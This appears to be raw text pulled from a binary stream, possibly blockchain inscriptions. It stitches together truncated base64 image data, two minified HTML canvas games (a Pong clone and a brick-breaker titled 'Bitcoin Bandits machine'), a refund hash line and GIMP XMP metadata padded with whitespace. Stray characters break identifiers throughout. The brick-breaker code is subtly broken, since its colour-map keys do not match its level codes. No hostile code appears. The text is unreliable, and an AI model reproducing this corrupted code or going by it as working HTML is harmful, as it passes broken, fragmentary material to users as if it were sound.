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" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightM
Paddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPaddle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maM
xPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvas.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){M
ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(let l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2M
-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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" class="bacM
kground"><div class="game"><canvas width="400" height="500" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const level1=[[],[],[],[],[],[],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["R","R","R","R","R","R","R","R","R","R","R","R","R","R"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["O","O","O","O","O","O","O","O","O","O","O","O","O","O"],["G","G","G","G","G","G","G","G","G","G","G","G","G","GM
"],["G","G","G","G","G","G","G","G","G","G","G","G","G","G"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"],["Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y","Y"]];const colorMap={l:"red",i:"orange",t:"green",o:"yellow"};const brickGap=2;const brickWidth=25;const brickHeight=12;const wallSize=12;const bricks=[];for(let a=0;a<level1.length;a++){for(let l=0;l<level1[a].length;l++){const colorCode=level1[a][l];bricks.push({x:wallSize+(brickWidth+brickGap)*l,y:wallSize+(brickHeight+brickGap)*a,color:colorM
Map[colorCode],width:brickWidth,height:brickHeight})}}const paddle={x:canvas.width/2-brickWidth/2,y:440,width:brickWidth,height:brickHeight,dx:0};const ball={x:130,y:260,width:5,height:5,speed:2,dx:0,dy:0};function collides(l,a){return l.x<a.x+a.width&&l.x+l.width>a.x&&l.y<a.y+a.height&&l.y+l.height>a.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);paddle.x+=paddle.dx;if(paddle.x<wallSize){paddle.x=wallSize}else if(paddle.x+brickWidth>canvas.width-wallSize){paddle.x=cM
anvas.width-wallSize-brickWidth}ball.x+=ball.dx;ball.y+=ball.dy;if(ball.x<wallSize){ball.x=wallSize;ball.dx*=-1}else if(ball.x+ball.width>canvas.width-wallSize){ball.x=canvas.width-wallSize-ball.width;ball.dx*=-1}if(ball.y<wallSize){ball.y=wallSize;ball.dy*=-1}if(ball.y>canvas.height){ball.x=130;ball.y=260;ball.dx=0;ball.dy=0}if(collides(ball,paddle)){ball.dy*=-1;ball.y=paddle.y-ball.height}for(let l=0;l<bricks.length;l++){const a=bricks[l];if(collides(ball,a)){bricks.splice(l,1);if(ball.y+ball.height-ball.speed<=aM
.y||ball.y>=a.y+a.height-ball.speed){ball.dy*=-1}else{ball.dx*=-1}break}}context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,wallSize);context.fillRect(0,0,wallSize,canvas.height);context.fillRect(canvas.width-wallSize,0,wallSize,canvas.height);if(ball.dx||ball.dy){context.fillRect(ball.x,ball.y,ball.width,ball.height)}bricks.forEach(function(l){context.fillStyle=l.color;context.fillRect(l.x,l.y,l.width,l.height)});context.fillStyle="cyan";context.fillRect(paddle.x,paddle.y,paddle.width,paddle.height)}dMK
ocument.addEventListener("keydown",function(l){if(l.which===37){paddle.dx=-3}else if(l.which===39){paddle.dx=3}if(ball.dx===0&&ball.dy===0&&l.which===32){ball.dx=ball.speed;ball.dy=ball.speed}});document.addEventListener("keyup",function(l){if(l.which===37||l.which===39){paddle.dx=0}});requestAnimationFrame(loop);</script></html>h!
IjGREFUND:E5D37E183454F0A091FBD319E8F9B434C848D040C667E1188A955FDEDD12967F
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http:M
//ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:50c540df-038d-41c5-abd7-928f336e8b35" xmpMM:InstanceID="xmp.iid:faa0790e-f950-441f-ad6c-c77689d21e86" xmpMM:OriginalDocumentID="xmp.did:598fbad1-5f56-42da-9baa-08dacfa41a6a" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413039230207" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:17:18+11:00" xmp:ModifyDate="2023:02:15T09:17:18+11:00"> <xmpMM:History> <rdf:Seq> <rdfM
:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:5aab314a-b1b1-4f26-81b9-3e9f6c43aa3e" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:17:19"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                                                               <?xpacket end="w"?>h!
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.oM
rg/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:773ea425-d5bf-46e6-bee7-ff78ac940adc" xmpMM:InstanceID="xmp.iid:e7f62ed4-662b-4108-9659-9366237812ab" xmpMM:OriginalDocumentID="xmp.did:5eeed01a-10ba-46bd-9c38-1b05a6492c16" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413052564756" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xM
mp:MetadataDate="2023:02:15T09:17:30+11:00" xmp:ModifyDate="2023:02:15T09:17:30+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:05a95a7d-5c5b-47be-845c-8e07a0560d37" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:17:32"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Mh
                                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
6*&&*6>424>LDDL_Z_||
6*&&*6>424>LDDL_Z_||
((((((((((((((((((((((((((((((((((((((((((((((((((
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adM
obe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:d30f4e5f-a409-4649-92d0-e94257e2a938" xmpMM:InstanceID="xmp.iid:51b80M
d39-6357-47a7-8c89-ecb707878231" xmpMM:OriginalDocumentID="xmp.did:544e1173-8561-403b-9d72-990678db7e40" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413080747914" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:17:58+11:00" xmp:ModifyDate="2023:02:15T09:17:58+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:0af14f93-d1cb-4abd-a543-8f61c5ca20a6" stEvt:softwareAgent="M
Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:18:00"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                          M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Lr                                                                                               <?xpacket end="w"?>h!
